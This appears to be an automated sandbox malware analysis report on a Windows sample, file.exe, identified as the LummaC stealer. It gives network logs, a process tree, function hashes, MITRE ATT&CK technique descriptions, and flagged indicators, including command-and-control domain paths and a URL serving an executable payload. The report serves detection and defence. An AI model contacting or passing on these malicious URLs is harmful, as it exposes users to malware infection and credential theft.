2024-11-16 03:34:20 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:20 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:20 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 95e3a472-701e-0050-58d2-2c6767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033420Z-16547b76f7fmcv27hC1DFWgpcg00000000z000000000kb9p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:20 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49979	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:20 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:20 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 81191f4a-001e-0014-6d45-365151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033420Z-164f84587bf5rpzqhC1DFWmra8000000028g000000009vbw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:20 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49980	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:20 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:21 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:20 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: a0c7144d-101e-007a-2509-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033420Z-16547b76f7fbkfmzhC1DFWm9tw00000001s000000000t3cz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:21 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Target ID:	0
Start time:	22:33:02
Start date:	15/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xee0000
File size:	1'886'208 bytes
MD5 hash:	EE89FE2B0FA6587B792D5E2514C916CC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:33:29
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	22:33:30
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=2000,i,18382782211860012074,2766989796147544091,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	22:33:33
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:33:34
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1992,i,3125156772229550681,2410436148058244505,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	6
Total number of Limit Nodes:	1

Executed Functions

Function 061D84CA Relevance: 4.6, APIs: 3, Instructions: 101
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 061DC5FF
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 061DC626
GetNativeSystemInfo.KERNEL32(?), ref: 061DC67D

Memory Dump Source

Source File: 00000000.00000002.2050931959.00000000061D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 06040000, based on PE: true

Associated: 00000000.00000002.2050872100.0000000006040000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050891560.0000000006042000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050912168.0000000006046000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050931959.000000000604A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050931959.00000000062E4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050931959.00000000062F4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050931959.00000000062F6000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6040000_file.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 4bfd496f8829526770df2b2b98f4484923c60e0d652f0cd72f7745640c82513d
Instruction ID: 27ee83a43e2b860f7dce8e2e58a07e438c4afce38ce2245cd79a3a771fd894fc
Opcode Fuzzy Hash: 4bfd496f8829526770df2b2b98f4484923c60e0d652f0cd72f7745640c82513d
Instruction Fuzzy Hash: 1D413DB150420EDFEB15EF54C844BEF7BA9EF05311F010A2AEA8182A51E7764D64CB9E

Non-executed Functions

Function 061E3F02 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2050931959.00000000061D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 06040000, based on PE: true

Associated: 00000000.00000002.2050872100.0000000006040000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050891560.0000000006042000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050912168.0000000006046000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050931959.000000000604A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050931959.00000000062E4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050931959.00000000062F4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050931959.00000000062F6000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41f5e0b9b30ece5354b2e8b861e80eab9e82b8077978ba6269a4ef4f8caac1e9
Instruction ID: 30e7de75b5fb15775d6a3811b80e0cb79a6750ba0aeddfe870c8ba83189460b3
Opcode Fuzzy Hash: 41f5e0b9b30ece5354b2e8b861e80eab9e82b8077978ba6269a4ef4f8caac1e9
Instruction Fuzzy Hash: 71316FB350C314AFE3116E59EC81AFAFBE9EB84774F16082EE6C4C3600D775584086A7

Function 061DEE95 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2050931959.00000000061D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 06040000, based on PE: true

Associated: 00000000.00000002.2050872100.0000000006040000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050891560.0000000006042000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050912168.0000000006046000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050931959.000000000604A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050931959.00000000062E4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050931959.00000000062F4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050931959.00000000062F6000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa5664eae0d9e4882c01ba9e00a3cbcf0123ae1ee3e9e941438aad764e5a7c89
Instruction ID: 90e1b89d4023f8558362b29e2c13c0d3c12c9fce4a89d65ef3b422aa5dbe54a6
Opcode Fuzzy Hash: aa5664eae0d9e4882c01ba9e00a3cbcf0123ae1ee3e9e941438aad764e5a7c89
Instruction Fuzzy Hash: 81E04F361041019AC700DF54C84599FFBF8FF59321F209845F484CB222C3354851CB29

Function 061DFE96 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2050931959.00000000061D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 06040000, based on PE: true

Associated: 00000000.00000002.2050872100.0000000006040000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050891560.0000000006042000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050912168.0000000006046000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050931959.000000000604A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050931959.00000000062E4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050931959.00000000062F4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2050931959.00000000062F6000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 133348147e7b511c56acb122366da20c884df048f7350430ac7b4905014d21ff
Instruction ID: 4ea775f5336edde481f72dbc8b7ce3ffc4e86a6b036cd27347ebfb9de212a8ae
Opcode Fuzzy Hash: 133348147e7b511c56acb122366da20c884df048f7350430ac7b4905014d21ff
Instruction Fuzzy Hash: 14C08CB7BAD3A15EC3D6AB1D0C533EA7B144781900F028829A0824B1C3C334E50751E6

Source: https://frogmen-smell.sbs/T-	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs/apiB	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs/apiU	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs/%	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs/api.	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exeXI	Avira URL Cloud: Label: phishing
Source: https://frogmen-smell.sbs/apiw	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exe=	Avira URL Cloud: Label: phishing

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Windows Analysis Report
file.exe